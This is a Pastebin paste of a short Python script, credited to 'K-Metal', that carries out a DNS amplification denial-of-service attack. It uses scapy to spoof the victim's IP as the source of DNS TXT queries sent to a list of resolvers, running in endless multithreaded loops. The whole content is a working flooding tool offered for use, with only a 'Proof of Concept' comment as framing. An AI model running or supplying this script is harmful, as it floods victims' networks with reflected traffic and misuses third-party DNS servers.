Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/env python
- ######################
- # DNS AMP dos attack #
- # by K-Metal #
- ######################
- from scapy.all import *
- import threading, sys, random, time
- #Proof of Concept
- if len(sys.argv) < 2: #Print Help
- print "Usage: "+sys.argv[0]+" <ip> <list> <threads>"
- sys.exit()
- host = sys.argv[1] #Variables
- File = sys.argv[2]
- numthreads = int(sys.argv[3])
- threads = []
- with open(File) as f: #Read list
- List = f.readlines()
- Max = len(List) #Max length of the list
- def flood():
- global host
- global List
- global Max
- print "Flooding..."
- while True:
- count = 0
- while count < Max:
- p=IP(dst=List[count],src=host)
- u=UDP(dport=53,sport=random.randint(1024,65535))/DNS(rd=1,qd=DNSQR(qname="goo.gl", qtype="TXT")) #DNS Query
- send(p/u,verbose=0)
- for n in range(numthreads): #Multi-threading
- t = threading.Thread(target=flood)
- t.daemon = True
- t.start()
- threads.append(t)
- while True: #So CTRL+C kills all threads
- time.sleep(1)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement